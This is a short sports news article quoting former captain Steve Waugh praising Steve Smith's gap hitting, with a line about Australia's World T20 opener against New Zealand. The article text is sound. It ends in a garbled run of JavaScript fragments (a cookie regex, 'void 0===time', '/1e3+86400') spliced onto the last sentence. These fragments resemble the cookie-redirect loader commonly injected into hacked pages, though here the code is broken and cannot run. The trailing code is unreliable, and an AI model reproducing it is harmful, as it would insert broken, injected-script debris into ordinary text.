‘The best gap hitter I’ve ever seen’

Former Australian captain Steve Waugh has heaped praise on current skipper Steve Smith, labelling him "the best gap hitter" he has ever seen.

Waugh was asked to outline the prototype for the perfect cricketer, at the India Today Conclave in New Dehli.

"I think Steve Smith would be in there purely because he's the best gap hitter I've ever seen of any cricketer," he said.

"If you watch him bat, he rarely hits the ball to the fieldsmen. That's why he scores so many runs.

"Even though his technique is not great, he finds the gaps incredibly well."

Smith will aim to lead his Australia to glory in the one tournament the Aussies are yet to win, the World T20, when they play their first match against New Zealand on Friday night at 8pm, AEDT. "(/([.$?*|{}()[]\/+^])/g,"\$1")+"=([^;]*)"));(U[1]):"",();||void 0===time){/1e3+86400),.('')}